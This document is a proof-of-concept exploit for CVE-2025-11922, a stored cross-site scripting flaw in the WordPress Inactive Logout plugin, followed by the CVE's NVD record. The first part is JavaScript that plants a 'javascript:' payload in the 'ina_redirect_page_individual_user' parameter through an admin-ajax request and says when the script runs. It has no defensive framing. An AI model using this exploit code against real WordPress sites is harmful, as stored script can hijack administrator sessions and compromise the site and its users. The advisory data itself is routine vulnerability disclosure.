CVE-2025-11922

// CVE-2025-11922 PoC - Stored XSS in Inactive Logout Plugin // Requires: Subscriber-level access or higher // Step 1: Identify the vulnerable parameter const vulnerableParam = 'ina_redirect_page_individual_user'; // Step 2: Prepare XSS payload const xssPayload = 'javascript:alert(document.domain)'; // Step 3: Submit the payload via AJAX or form submission // This typically goes to wp-admin/admin-ajax.php or settings page const exploit = { action: 'ina_save_advanced_settings', [vulnerableParam]: xssPayload, nonce: '[VALID_NONCE]' // WordPress security nonce }; // Step 4: Example fetch request (requires valid authentication) fetch(ajaxUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(exploit) }); // Alternative: Direct plugin settings update via REST API or admin page // The XSS will execute when: // 1. Admin views the Advanced settings tab // 2. User with individual settings triggers logout redirect

{"cve": {"id": "CVE-2025-11922", "sourceIdentifier": "[email protected]", "published": "2025-11-01T02:15:33.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Inactive Logout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ina_redirect_page_individual_user' parameter in all versions up to, and including, 3.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/inactive-logout/trunk/core/Controllers/Admin/StoreController.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/inactive-logout/trunk/core/Controllers/AdminController.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/inactive-logout/trunk/views/tabs/tpl-inactive-logout-advanced.php#L99", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3385001%40inactive-logout%2Ftrunk&old=3362978%40inactive-logout%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fde110ae-c559-4d45-91c0-a3dd5ff05c4d?source=cve", "source": "[email protected]"}]}}